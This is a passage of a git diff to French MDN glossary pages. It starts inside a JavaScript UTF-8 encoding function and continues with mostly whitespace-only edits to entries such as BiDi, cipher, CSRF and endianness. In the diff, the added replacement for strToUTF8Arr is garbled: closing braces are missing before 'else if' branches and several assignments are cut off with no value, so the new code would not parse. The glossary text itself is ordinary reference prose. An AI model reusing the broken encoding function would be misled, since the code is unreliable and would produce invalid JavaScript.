nPart < 248 && nIdx + 3 < nLen ? /* four bytes */ + (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 + : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */ + (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 + : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */ + (nPart - 192 << 6) + aBytes[++nIdx] - 128 + : /* nPart < 127 ? */ /* one byte */ + nPart + ); + } + + return sView; } function strToUTF8Arr (sDOMStr) { - var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0; - - /* mapping... */ - - for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) { - nChr = sDOMStr.charCodeAt(nMapIdx); - nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6; - } - - aBytes = new Uint8Array(nArrLen); - - /* transcription... */ - - for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) { - nChr = sDOMStr.charCodeAt(nChrIdx); - if (nChr < 128) { - /* one byte */ - aBytes[nIdx++] = nChr; - } else if (nChr < 0x800) { - /* two bytes */ - aBytes[nIdx++] = 192 + (nChr >>> 6); - aBytes[nIdx++] = 128 + (nChr & 63); - } else if (nChr < 0x10000) { - /* three bytes */ - aBytes[nIdx++] = 224 + (nChr >>> 12); - aBytes[nIdx++] = 128 + (nChr >>> 6 & 63); - aBytes[nIdx++] = 128 + (nChr & 63); - } else if (nChr < 0x200000) { - /* four bytes */ - aBytes[nIdx++] = 240 + (nChr >>> 18); - aBytes[nIdx++] = 128 + (nChr >>> 12 & 63); - aBytes[nIdx++] = 128 + (nChr >>> 6 & 63); - aBytes[nIdx++] = 128 + (nChr & 63); - } else if (nChr < 0x4000000) { - /* five bytes */ - aBytes[nIdx++] = 248 + (nChr >>> 24); - aBytes[nIdx++] = 128 + (nChr >>> 18 & 63); - aBytes[nIdx++] = 128 + (nChr >>> 12 & 63); - aBytes[nIdx++] = 128 + (nChr >>> 6 & 63); - aBytes[nIdx++] = 128 + (nChr & 63); - } else /* if (nChr <= 0x7fffffff) */ { - /* six bytes */ - aBytes[nIdx++] = 252 + /* (nChr >>> 32) is not possible in ECMAScript! So...: */ (nChr / 1073741824); - aBytes[nIdx++] = 128 + (nChr >>> 24 & 63); - aBytes[nIdx++] = 128 + (nChr >>> 18 & 63); - aBytes[nIdx++] = 128 + (nChr >>> 12 & 63); - aBytes[nIdx++] = 128 + (nChr >>> 6 & 63); - aBytes[nIdx++] = 128 + (nChr & 63); - } - } - - return aBytes; + var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0; + + /* mapping... */ + + for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) { + nChr = sDOMStr.charCodeAt(nMapIdx); + nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6; + } + + aBytes = new Uint8Array(nArrLen); + + /* transcription... */ + + for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) { + nChr = sDOMStr.charCodeAt(nChrIdx); + if (nChr < 128) { + /* one byte */ + aBytes[nIdx++] = nChr; + else if (nChr < + /* two bytes */ + aBytes[nIdx++] = 192 + (nChr >>> 6); + aBytes[nIdx++] = + else if (nChr < 0x10000) { + /* three bytes * + aBytes[nIdx++] = 224 + (nChr >>> 12); + aBytes[nIdx++] = + aBytes[nIdx++] = 128 + (nChr & 63); + else if (nChr < + /* four bytes */ + aBytes[nIdx++] = 240 + (nChr >>> 18); + aBytes[nIdx++] = + aBytes[nIdx++] = 128 + (nChr >>> 6 & + aBytes[nIdx++] + else if (nChr < 0x4000000) { + /* five bytes */ + aBytes[nIdx++] = 248 + (nChr >>> 24); + aBytes[nIdx++] + aBytes[nIdx++] = 128 + (nChr >>> 12 & 63); + aBytes[nIdx++] = 128 + (nChr >>> 6 & 63); + aBytes[nIdx++] = 128 + (nChr & 63); + } else /* if (nChr <= 0x7fffffff) */ { + /* six bytes */ + aBytes[nIdx++] = 252 + /* (nChr >>> 32) is not possible in ECMAScript! So...: */ (nChr / 1073741824); + aBytes[nIdx++] = 128 + (nChr >>> 24 & 63); + aBytes[nIdx++] = 128 + (nChr >>> 18 & 63); + aBytes[nIdx++] = 128 + (nChr >>> 12 & 63); + aBytes[nIdx++] = 128 + (nChr >>> 6 & 63); + aBytes[nIdx++] = 128 + (nChr & 63); + } + } + + return aBytes; } ``` diff --git a/files/fr/glossary/bidi/index.md b/files/fr/glossary/bidi/index.md index f9cdbe8f61..94ed79f5ac 100644 --- a/files/fr/glossary/bidi/index.md +++ b/files/fr/glossary/bidi/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/BiDi original_slug: Glossaire/BiDi --- -**BiDi** (BiDirectionnel) fait référence à un document contenant à la fois du texte se lisant de droite à gauche et du texte se lisant de gauche à droite. Même lorsque les deux directions se trouvent dans le même paragraphe, le texte de chaque langue doit apparaître dans son propre sens. +**BiDi** (BiDirectionnel) fait référence à un document contenant à la fois du texte se lisant de droite à gauche et du texte se lisant de gauche à droite. Même lorsque les deux directions se trouvent dans le même paragraphe, le texte de chaque langue doit apparaître dans son propre sens. ## Pour en savoir plus diff --git a/files/fr/glossary/block/css/index.md b/files/fr/glossary/block/css/index.md index a7bd4a7734..4c34fe4c6c 100644 --- a/files/fr/glossary/block/css/index.md +++ b/files/fr/glossary/block/css/index.md @@ -10,9 +10,9 @@ tags: translation_of: Glossary/Block/CSS original_slug: Glossary/Block/Block_(CSS) --- -Sur une page web, un **block** est un {{glossary("Element","élément")}} {{glossary("HTML")}} qui apparaît sous l'élément précédent et au-dessus du suivant (communément connu comme un _block-level element_ ). Par exemple, {{htmlelement("p")}} est par défaut un élément de type block, alors que {{htmlelement("a")}} est un _inline element -_ vous pouvez placer plusieurs liens les uns à côté des autres dans votre source HTML et ils seront placés sur la même ligne dans la sortie rendue. +Sur une page web, un **block** est un {{glossary("Element","élément")}} {{glossary("HTML")}} qui apparaît sous l'élément précédent et au-dessus du suivant (communément connu comme un _block-level element_ ). Par exemple, {{htmlelement("p")}} est par défaut un élément de type block, alors que {{htmlelement("a")}} est un _inline element -_ vous pouvez placer plusieurs liens les uns à côté des autres dans votre source HTML et ils seront placés sur la même ligne dans la sortie rendue. -En utilisant la propriété CSS {{cssxref("display")}}, il est possible de définir si un objet doit être affiché en bloc ou en ligne (block ou inline) ; les blocs sont également soumis aux effets des schémas de positionnement et de l'utilisation de la propriété {{cssxref("Position","position")}} . +En utilisant la propriété CSS {{cssxref("display")}}, il est possible de définir si un objet doit être affiché en bloc ou en ligne (block ou inline) ; les blocs sont également soumis aux effets des schémas de positionnement et de l'utilisation de la propriété {{cssxref("Position","position")}} . ## Pour en savoir plus diff --git a/files/fr/glossary/boolean/index.md b/files/fr/glossary/boolean/index.md index 0a03c9678d..0722a4e429 100644 --- a/files/fr/glossary/boolean/index.md +++ b/files/fr/glossary/boolean/index.md @@ -10,7 +10,7 @@ tags: translation_of: Glossary/Boolean original_slug: Glossaire/Boolean --- -En informatique, un **booléen** est un type de données logique qui ne peut prendre que deux valeurs : `true` (vrai) ou `false` (faux). Par exemple, en JavaScript, les conditions booléennes sont souvent ouvertes pour décider quelle section de code doit être exécutée (comme dans l'[instruction If](/fr/docs/Web/JavaScript/Reference/Instructions/if...else)) ou répétée (comme pour une [boucle For](/fr/docs/Web/JavaScript/Reference/Instructions/for)). +En informatique, un **booléen** est un type de données logique qui ne peut prendre que deux valeurs : `true` (vrai) ou `false` (faux). Par exemple, en JavaScript, les conditions booléennes sont souvent ouvertes pour décider quelle section de code doit être exécutée (comme dans l'[instruction If](/fr/docs/Web/JavaScript/Reference/Instructions/if...else)) ou répétée (comme pour une [boucle For](/fr/docs/Web/JavaScript/Reference/Instructions/for)). ```js /* JavaScript instruction if */ diff --git a/files/fr/glossary/boot2gecko/index.md b/files/fr/glossary/boot2gecko/index.md index 73372f65e9..8058d22e4c 100644 --- a/files/fr/glossary/boot2gecko/index.md +++ b/files/fr/glossary/boot2gecko/index.md @@ -10,7 +10,7 @@ tags: translation_of: Glossary/Boot2Gecko original_slug: Glossaire/Boot2Gecko --- -_Boot2Gecko_ (**B2G**) est le nom de code pour {{glossary("Firefox OS")}} et fait référence aux éléments de construction qui n'ont pas encore reçu la marque Firefox OS officielle. (Firefox OS était aussi souvent appelé Boot2Gecko avant que le projet ait un nom officiel.) +_Boot2Gecko_ (**B2G**) est le nom de code pour {{glossary("Firefox OS")}} et fait référence aux éléments de construction qui n'ont pas encore reçu la marque Firefox OS officielle. (Firefox OS était aussi souvent appelé Boot2Gecko avant que le projet ait un nom officiel.) ## En savoir plus diff --git a/files/fr/glossary/cache/index.md b/files/fr/glossary/cache/index.md index 4f47827899..1b6669d802 100644 --- a/files/fr/glossary/cache/index.md +++ b/files/fr/glossary/cache/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Cache original_slug: Glossaire/Cache --- -Un **cache** (cache web ou cache HTTP) est un composant stockant temporairement les réponses HTTP dans le but de les réutiliser lors de requêtes HTTP ultérieures, tant qu'elles remplissent certaines conditions. +Un **cache** (cache web ou cache HTTP) est un composant stockant temporairement les réponses HTTP dans le but de les réutiliser lors de requêtes HTTP ultérieures, tant qu'elles remplissent certaines conditions. ## Pour approfondir diff --git a/files/fr/glossary/call_stack/index.md b/files/fr/glossary/call_stack/index.md index 287c605fd9..2bc43b8b1b 100644 --- a/files/fr/glossary/call_stack/index.md +++ b/files/fr/glossary/call_stack/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Call_stack original_slug: Glossaire/Pile_d_exécution --- -Une **pile d'exécution** est le mécanisme d'un interpréteur (comme l'interpréteur de JavaScript sur un navigateur web) pour conserver la trace de son emplacement dans un script qui appelle plusieurs {{glossary("Function","fonctions")}} depuis d'autres fonctions — quelle fonction est en cours d'exécution, quelles fonctions sont appelées depuis cette fonction et doivent être appelées ensuite, etc. +Une **pile d'exécution** est le mécanisme d'un interpréteur (comme l'interpréteur de JavaScript sur un navigateur web) pour conserver la trace de son emplacement dans un script qui appelle plusieurs {{glossary("Function","fonctions")}} depuis d'autres fonctions — quelle fonction est en cours d'exécution, quelles fonctions sont appelées depuis cette fonction et doivent être appelées ensuite, etc. - Lorsqu'un script appelle une fonction, l'interpréteur ajoute sa position actuelle sur la pile d'exécution comme étant son adresse de retour, et ensuite, il se lance dans l'exécution de la fonction. - Toutes les fonctions appelées par cette fonction sont ajoutées à la pile d'appels plus haut, et s'exécutent là où leurs appels sont atteints. diff --git a/files/fr/glossary/cdn/index.md b/files/fr/glossary/cdn/index.md index 5601eeca60..8e6d3d4def 100644 --- a/files/fr/glossary/cdn/index.md +++ b/files/fr/glossary/cdn/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/CDN original_slug: Glossaire/CDN --- -Un **CDN** (Content Delivery Network) est un groupe de serveurs répartis en de nombreux endroits. Ces serveurs répliquent des copies des données. De cette manière, les serveurs peuvent répondre aux requêtes de données en se basant sur les serveurs les plus proches de leurs utilisateurs finaux respectifs. Les CDN rendent les services rapides et moins affectés par les trafics élevés. +Un **CDN** (Content Delivery Network) est un groupe de serveurs répartis en de nombreux endroits. Ces serveurs répliquent des copies des données. De cette manière, les serveurs peuvent répondre aux requêtes de données en se basant sur les serveurs les plus proches de leurs utilisateurs finaux respectifs. Les CDN rendent les services rapides et moins affectés par les trafics élevés. Les CDN sont largement utilisés pour fournir des feuilles de style et des fichiers JavaScript (actifs statiques) de bibliothèques comme Bootstrap, jQuery, etc. L'utilisation de CDN pour ces fichiers de bibliothèque est préférable pour un certain nombre de raisons : diff --git a/files/fr/glossary/cipher/index.md b/files/fr/glossary/cipher/index.md index f71f4ecc1a..fe4c95c312 100644 --- a/files/fr/glossary/cipher/index.md +++ b/files/fr/glossary/cipher/index.md @@ -12,19 +12,19 @@ original_slug: Glossaire/Chiffre --- En {{glossary("cryptography","cryptographie")}}, un **chiffre** est un algorithme qui permet de {{glossary("encryption","chiffrer")}} du {{glossary("cleartext","texte brut")}} dans le but de le rendre illisible et de le {{glossary("decryption", "déchiffrer")}} par la suite. -Les chiffres étaient communs bien avant l'âge de l'informatique (par exemple, [le chiffrement par substitution](https://fr.wikipedia.org/wiki/Chiffrement_par_substitution), [le chiffrement par transposition](https://fr.wikipedia.org/wiki/Chiffrement_par_transposition) ou le chiffrement par permutation), mais aucun d'entre eux n'était cryptologiquement sûr à l'exception du [masque jetable](https://fr.wikipedia.org/wiki/Masque_jetable). +Les chiffres étaient communs bien avant l'âge de l'informatique (par exemple, [le chiffrement par substitution](https://fr.wikipedia.org/wiki/Chiffrement_par_substitution), [le chiffrement par transposition](https://fr.wikipedia.org/wiki/Chiffrement_par_transposition) ou le chiffrement par permutation), mais aucun d'entre eux n'était cryptologiquement sûr à l'exception du [masque jetable](https://fr.wikipedia.org/wiki/Masque_jetable). -Les chiffres modernes sont construits de manière à résister à des {{glossary("attack","attaques")}} découvertes par un {{glossary("cryptanalysis","cryptanalyste")}}. Il n'y a aucune garantie que tous les vecteurs d'attaques aient été découverts, mais chaque algorithme est jugé à l'aune des types de vecteurs d'attaques connus. +Les chiffres modernes sont construits de manière à résister à des {{glossary("attack","attaques")}} découvertes par un {{glossary("cryptanalysis","cryptanalyste")}}. Il n'y a aucune garantie que tous les vecteurs d'attaques aient été découverts, mais chaque algorithme est jugé à l'aune des types de vecteurs d'attaques connus. -Les chiffres opèrent de deux manières, soit en [chiffrement par bloc](https://fr.wikipedia.org/wiki/Chiffrement_par_bloc) sur des blocs de données, soit en [chiffrement par flot](https://fr.wikipedia.org/wiki/Chiffrement_de_flux) pour des flux de données continus (souvent de l'audio ou de la vidéo). +Les chiffres opèrent de deux manières, soit en [chiffrement par bloc](https://fr.wikipedia.org/wiki/Chiffrement_par_bloc) sur des blocs de données, soit en [chiffrement par flot](https://fr.wikipedia.org/wiki/Chiffrement_de_flux) pour des flux de données continus (souvent de l'audio ou de la vidéo). Ils sont également classés en fonction de la manière dont leurs {{glossary("Key", "clefs")}} sont gérées : -- les algorithmes à [clefs symétriques](https://fr.wikipedia.org/wiki/Cryptographie_symétrique) utilisent la même clef pour chiffrer et déchiffrer un message. Cette clef doit également être envoyée de manière sécurisée afin que le message reste confidentiel. -- les algorithmes à [clefs asymétriques](https://fr.wikipedia.org/wiki/Cryptographie_asymétrique) utilisent une clef différente pour le chiffrement et le déchiffrement. +- les algorithmes à [clefs symétriques](https://fr.wikipedia.org/wiki/Cryptographie_symétrique) utilisent la même clef pour chiffrer et déchiffrer un message. Cette clef doit également être envoyée de manière sécurisée afin que le message reste confidentiel. +- les algorithmes à [clefs asymétriques](https://fr.wikipedia.org/wiki/Cryptographie_asymétrique) utilisent une clef différente pour le chiffrement et le déchiffrement. ## En savoir plus ### Connaissances générales -- {{Interwiki("wikipedia","Chiffrement")}} sur Wikipedia +- {{Interwiki("wikipedia","Chiffrement")}} sur Wikipedia diff --git a/files/fr/glossary/cipher_suite/index.md b/files/fr/glossary/cipher_suite/index.md index 516ea68dec..23c53074cb 100644 --- a/files/fr/glossary/cipher_suite/index.md +++ b/files/fr/glossary/cipher_suite/index.md @@ -10,7 +10,7 @@ original_slug: Glossaire/suite_de_chiffrement --- Une **suite de chiffrement** est un ensemble comprenant un algorithme d'échange de clefs, une méthode d'authentification, un {{glossary("Cipher","chiffre")}} et un code d'authentification des messages. -Dans un {{glossary("cryptosystem","protocole de chiffrement")}} tel que {{glossary("TLS")}}, le client et le serveur doivent s'accorder sur une suite de chiffrement avant de pouvoir commencer à communiquer de manière sécurisée. Un exemple de suite de chiffrement peut être ECDHE_RSA_WITH_AES_128_GCM_SHA256 ou ECDHE-RSA-AES128-GCM-SHA256. Ces exemples indiquent : +Dans un {{glossary("cryptosystem","protocole de chiffrement")}} tel que {{glossary("TLS")}}, le client et le serveur doivent s'accorder sur une suite de chiffrement avant de pouvoir commencer à communiquer de manière sécurisée. Un exemple de suite de chiffrement peut être ECDHE_RSA_WITH_AES_128_GCM_SHA256 ou ECDHE-RSA-AES128-GCM-SHA256. Ces exemples indiquent : - ECDHE (elliptic curve Diffie-Hellman ephemeral) pour l'échange de clefs - RSA pour l'authentification @@ -19,4 +19,4 @@ Dans un {{glossary("cryptosystem","protocole de chiffrement")}} tel que {{glossa ## En apprendre plus -- [Les choix de suites de chiffrement TLS recommandées par Mozilla](https://wiki.mozilla.org/Security/Server_Side_TLS) (en anglais) +- [Les choix de suites de chiffrement TLS recommandées par Mozilla](https://wiki.mozilla.org/Security/Server_Side_TLS) (en anglais) diff --git a/files/fr/glossary/codec/index.md b/files/fr/glossary/codec/index.md index ee46650407..89e31a09b0 100644 --- a/files/fr/glossary/codec/index.md +++ b/files/fr/glossary/codec/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Codec original_slug: Glossaire/Codec --- -Un *codec* (terme formé à partir de "**_co_**deur-**_déc_**odeur") est un programme informatique qui code et décode un flux de données. +Un *codec* (terme formé à partir de "**_co_**deur-**_déc_**odeur") est un programme informatique qui code et décode un flux de données. ### Plus d'informations diff --git a/files/fr/glossary/compile/index.md b/files/fr/glossary/compile/index.md index 95568bae74..df1786c63a 100644 --- a/files/fr/glossary/compile/index.md +++ b/files/fr/glossary/compile/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Compile original_slug: Glossaire/Compile --- -La compilation est un processus consistant à transformer un programme informatique, écrit dans un langage donné, en un programme dans un autre langage (généralement en assembleur qui pourra être exécuté par l'ordinateur). +La compilation est un processus consistant à transformer un programme informatique, écrit dans un langage donné, en un programme dans un autre langage (généralement en assembleur qui pourra être exécuté par l'ordinateur). ## En savoir plus diff --git a/files/fr/glossary/constructor/index.md b/files/fr/glossary/constructor/index.md index 545cd31294..c26d7cb034 100644 --- a/files/fr/glossary/constructor/index.md +++ b/files/fr/glossary/constructor/index.md @@ -22,7 +22,7 @@ function Overloaded(arg1, arg2, ...,argN){ } ``` -Pour appeler le constructeur d'une classe en JavaScript, utilisez un opérateur `new` pour affecter une nouvelle {{glossary("Object reference","référence d'objet")}} à une {{glossary("Variable","variable")}}. +Pour appeler le constructeur d'une classe en JavaScript, utilisez un opérateur `new` pour affecter une nouvelle {{glossary("Object reference","référence d'objet")}} à une {{glossary("Variable","variable")}}. ```js function Default() { diff --git a/files/fr/glossary/crud/index.md b/files/fr/glossary/crud/index.md index 970301d078..fc9c74897d 100644 --- a/files/fr/glossary/crud/index.md +++ b/files/fr/glossary/crud/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/CRUD original_slug: Glossaire/CRUD --- -**CRUD** (create, read, update, delete) (_créer, lire, mettre à jour, supprimer)_ est un acronyme pour les façons dont on peut fonctionner sur des données stockées. C'est un moyen mnémotechnique pour les quatre fonctions de base du stockage persistant. CRUD fait généralement référence aux opérations effectuées dans une base de données ou un magasin de données, mais peut également s'appliquer aux fonctions de niveau supérieur d'une application telles que les suppressions logicielles lorsque les données ne sont pas supprimées mais marquées comme supprimées via un état. +**CRUD** (create, read, update, delete) (_créer, lire, mettre à jour, supprimer)_ est un acronyme pour les façons dont on peut fonctionner sur des données stockées. C'est un moyen mnémotechnique pour les quatre fonctions de base du stockage persistant. CRUD fait généralement référence aux opérations effectuées dans une base de données ou un magasin de données, mais peut également s'appliquer aux fonctions de niveau supérieur d'une application telles que les suppressions logicielles lorsque les données ne sont pas supprimées mais marquées comme supprimées via un état. ## En apprendre plus diff --git a/files/fr/glossary/csrf/index.md b/files/fr/glossary/csrf/index.md index 74d22e8f88..a1a3f59ce0 100644 --- a/files/fr/glossary/csrf/index.md +++ b/files/fr/glossary/csrf/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/CSRF original_slug: Glossaire/CSRF --- -**CSRF** (Cross-Site Request Forgery) est une attaque qui usurpe l'identité d'un utilisateur de confiance et envoie des commandes non désirées sur un site web. Cela peut être réalisé, par exemple, en ajoutant des paramètres malveillants dans une {{glossary("URL")}} associée à un lien qui prétend aller quelque part ailleurs. +**CSRF** (Cross-Site Request Forgery) est une attaque qui usurpe l'identité d'un utilisateur de confiance et envoie des commandes non désirées sur un site web. Cela peut être réalisé, par exemple, en ajoutant des paramètres malveillants dans une {{glossary("URL")}} associée à un lien qui prétend aller quelque part ailleurs. ## Pour approfondir diff --git a/files/fr/glossary/css_preprocessor/index.md b/files/fr/glossary/css_preprocessor/index.md index cdaa15fc2b..7deb6f2799 100644 --- a/files/fr/glossary/css_preprocessor/index.md +++ b/files/fr/glossary/css_preprocessor/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/CSS_preprocessor original_slug: Glossaire/preprocesseur_CSS --- -Un **préprocesseur** **CSS** est un programme qui vous permet de générer des {{Glossary("CSS")}} à partir d'un unique préprocesseur propriétaire {{Glossary("Syntax")}}. Il y a de nombreux préprocesseurs CSS au choix, mais la plupart des préprocesseurs CSS ajoutent quelques fonctionnalités qui n'existent pas en CSS pur, telles que {{Glossary("Variable","variable")}}, mixin, sélecteur d'imbrication, etc. Ces fonctionnalités rendent la structure CSS plus lisible et plus facile à maintenir. +Un **préprocesseur** **CSS** est un programme qui vous permet de générer des {{Glossary("CSS")}} à partir d'un unique préprocesseur propriétaire {{Glossary("Syntax")}}. Il y a de nombreux préprocesseurs CSS au choix, mais la plupart des préprocesseurs CSS ajoutent quelques fonctionnalités qui n'existent pas en CSS pur, telles que {{Glossary("Variable","variable")}}, mixin, sélecteur d'imbrication, etc. Ces fonctionnalités rendent la structure CSS plus lisible et plus facile à maintenir. Pour utiliser un préprocesseur CSS, vous devez installer un compilateur CSS sur votre {{Glossary("Server","serveur")}} web. diff --git a/files/fr/glossary/delta/index.md b/files/fr/glossary/delta/index.md index 0196b2cbad..761b33c264 100644 --- a/files/fr/glossary/delta/index.md +++ b/files/fr/glossary/delta/index.md @@ -31,4 +31,4 @@ let newX = oldX + deltaX; ### Référence technique -- Les événements de la molette de la souris ({{domxref("WheelEvent")}} offrent la quantité de déplacement de la roue depuis le dernier événement dans son {{domxref("WheelEvent.deltaX", "deltaX")}}, {{domxref("WheelEvent.deltaY", "deltaY")}}, et {{domxref("WheelEvent.deltaZ", "deltaZ")}}, par exemple. +- Les événements de la molette de la souris ({{domxref("WheelEvent")}} offrent la quantité de déplacement de la roue depuis le dernier événement dans son {{domxref("WheelEvent.deltaX", "deltaX")}}, {{domxref("WheelEvent.deltaY", "deltaY")}}, et {{domxref("WheelEvent.deltaZ", "deltaZ")}}, par exemple. diff --git a/files/fr/glossary/deserialization/index.md b/files/fr/glossary/deserialization/index.md index 7737272796..1ee627a528 100644 --- a/files/fr/glossary/deserialization/index.md +++ b/files/fr/glossary/deserialization/index.md @@ -10,7 +10,7 @@ original_slug: Glossaire/Désérialisation --- Le processus par lequel un format de niveau inférieur (par exemple, qui a été transféré sur un réseau ou stocké dans un magasin de données) est traduit en un objet lisible ou une autre structure de données. -En {{Glossary("JavaScript")}}, par exemple, vous pouvez désérialiser une {{Glossary("string","chaîne de caractères")}} {{Glossary("JSON")}} vers un objet en appelant la {{Glossary("function","fonction")}} {{jsxref("JSON.parse()")}}. +En {{Glossary("JavaScript")}}, par exemple, vous pouvez désérialiser une {{Glossary("string","chaîne de caractères")}} {{Glossary("JSON")}} vers un objet en appelant la {{Glossary("function","fonction")}} {{jsxref("JSON.parse()")}}. ## En apprendre plus diff --git a/files/fr/glossary/dhtml/index.md b/files/fr/glossary/dhtml/index.md index 6bf8bcb131..20e336405d 100644 --- a/files/fr/glossary/dhtml/index.md +++ b/files/fr/glossary/dhtml/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/DHTML original_slug: DHTML --- -**DHTML est une abréviation de « dynamic {{glossary("HTML")}})** **»** _(HTML dynamique)_. Le terme DHTML fait généralement référence à des pages Web interactives qui ne sont pas animées par des plugins tels que {{Glossary("Adobe Flash","Flash")}} ou {{Glossary("Java")}}. Il combine les fonctionnalités des {{Glossary("HTML")}} , {{Glossary("CSS")}} , du {{Glossary("DOM")}} et {{Glossary("JavaScript")}}. +**DHTML est une abréviation de « dynamic {{glossary("HTML")}})** **»** _(HTML dynamique)_. Le terme DHTML fait généralement référence à des pages Web interactives qui ne sont pas animées par des plugins tels que {{Glossary("Adobe Flash","Flash")}} ou {{Glossary("Java")}}. Il combine les fonctionnalités des {{Glossary("HTML")}} , {{Glossary("CSS")}} , du {{Glossary("DOM")}} et {{Glossary("JavaScript")}}. ## En apprendre plus diff --git a/files/fr/glossary/doctype/index.md b/files/fr/glossary/doctype/index.md index fc6647e44f..678ef7aa74 100644 --- a/files/fr/glossary/doctype/index.md +++ b/files/fr/glossary/doctype/index.md @@ -11,7 +11,7 @@ tags: translation_of: Glossary/Doctype original_slug: Glossaire/Doctype --- -En {{Glossary("HTML")}}, le doctype est le préambule "`<! DOCTYPE html>`" requis en haut de tous les documents. Son seul but est d'empêcher un {{Glossary("Browser","navigateur")}} de passer en soi-disant [“quirks mode”](/fr/docs/Mode_quirks_de_Mozilla) lors du rendu d'un document ; c'est-à-dire que le doctype "`<!DOCTYPE html>`" garantit que le navigateur fait de son mieux pour suivre les spécifications pertinentes, plutôt que d'utiliser un mode de rendu différent incompatible avec certaines spécifications. +En {{Glossary("HTML")}}, le doctype est le préambule "`<! DOCTYPE html>`" requis en haut de tous les documents. Son seul but est d'empêcher un {{Glossary("Browser","navigateur")}} de passer en soi-disant [“quirks mode”](/fr/docs/Mode_quirks_de_Mozilla) lors du rendu d'un document ; c'est-à-dire que le doctype "`<!DOCTYPE html>`" garantit que le navigateur fait de son mieux pour suivre les spécifications pertinentes, plutôt que d'utiliser un mode de rendu différent incompatible avec certaines spécifications. ## En apprendre plus diff --git a/files/fr/glossary/document_directive/index.md b/files/fr/glossary/document_directive/index.md index 9412ad017f..7bde2ee1a7 100644 --- a/files/fr/glossary/document_directive/index.md +++ b/files/fr/glossary/document_directive/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Document_directive original_slug: Glossaire/Document_directive --- -Les **directives de document** **{{Glossary("CSP")}}** sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et régissent les propriétés d'un document ou l'environnement des "[worker"](/fr/docs/Web/API/Web_Workers_API) auxquels la politique s'applique. +Les **directives de document** **{{Glossary("CSP")}}** sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et régissent les propriétés d'un document ou l'environnement des "[worker"](/fr/docs/Web/API/Web_Workers_API) auxquels la politique s'applique. Les directives du document ne reviennent pas à la directive {{CSP("default-src")}}. diff --git a/files/fr/glossary/dynamic_typing/index.md b/files/fr/glossary/dynamic_typing/index.md index 8710894dba..587d63402b 100644 --- a/files/fr/glossary/dynamic_typing/index.md +++ b/files/fr/glossary/dynamic_typing/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Dynamic_typing original_slug: Glossaire/typage_dynamique --- -**Les langages à typage dynamique** sont ceux (comme {{glossary("JavaScript")}}) dont l'interpréteur attribue aux {{glossary("variable","variables")}} un {{glossary("type")}} lors de l'exécution en fonction de la {{glossary("Value","valeur")}} qu'elles possèdent à ce moment. +**Les langages à typage dynamique** sont ceux (comme {{glossary("JavaScript")}}) dont l'interpréteur attribue aux {{glossary("variable","variables")}} un {{glossary("type")}} lors de l'exécution en fonction de la {{glossary("Value","valeur")}} qu'elles possèdent à ce moment. ## Pour en savoir plus diff --git a/files/fr/glossary/endianness/index.md b/files/fr/glossary/endianness/index.md index 5e61f766ad..85a93ee05b 100644 --- a/files/fr/glossary/endianness/index.md +++ b/files/fr/glossary/endianness/index.md @@ -10,15 +10,15 @@ original_slug: Glossaire/Endianness --- "Endian" et "endianness" (ou "ordre des octets") désigne la manière dont les ordinateurs organisent les octets pour constituer des nombres. -Chaque emplacement de stockage en mémoire dispose d'un index ou adresse. Un octet pouvant stocker une valeur de 8 bits (i.e. compris entre `0x00` et `0xff`), il faut en réserver davantage pour enregistrer des nombres plus grands. L'_ordre_ le plus utilisé pour composer des nombres sur plusieurs octets est de loin le **little-endian** qui est utilisé sur tous les processeurs Intel. Little-endian signifie que le stockage des octets se fait du moins important au plus important (où l'octet le moins important prend la première adresse ou la plus basse), ce qui est comparable à la façon habituelle en Europe d'écrire les dates (e.g., 31 décembre 2050). +Chaque emplacement de stockage en mémoire dispose d'un index ou adresse. Un octet pouvant stocker une valeur de 8 bits (i.e. compris entre `0x00` et `0xff`), il faut en réserver davantage pour enregistrer des nombres plus grands. L'_ordre_ le plus utilisé pour composer des nombres sur plusieurs octets est de loin le **little-endian** qui est utilisé sur tous les processeurs Intel. Little-endian signifie que le stockage des octets se fait du moins important au plus important (où l'octet le moins important prend la première adresse ou la plus basse), ce qui est comparable à la façon habituelle en Europe d'écrire les dates (e.g., 31 décembre 2050). -Naturellement, **big-endian** est l'ordre opposé, similaire à une date au format ISO (2050-12-31). Big-endian est aussi souvent appelé "ordre d'octet du réseau" car les standards internet ont généralement besoin des données dans cet ordre, en commençant au niveau socket UNIX standard et en continuant avec les structures de données Web binaires standardisées. De plus, les anciens ordinateurs Mac utilisaient des microprocesseurs 680x0 ou PowerPC qui étaient big-endian. +Naturellement, **big-endian** est l'ordre opposé, similaire à une date au format ISO (2050-12-31). Big-endian est aussi souvent appelé "ordre d'octet du réseau" car les standards internet ont généralement besoin des données dans cet ordre, en commençant au niveau socket UNIX standard et en continuant avec les structures de données Web binaires standardisées. De plus, les anciens 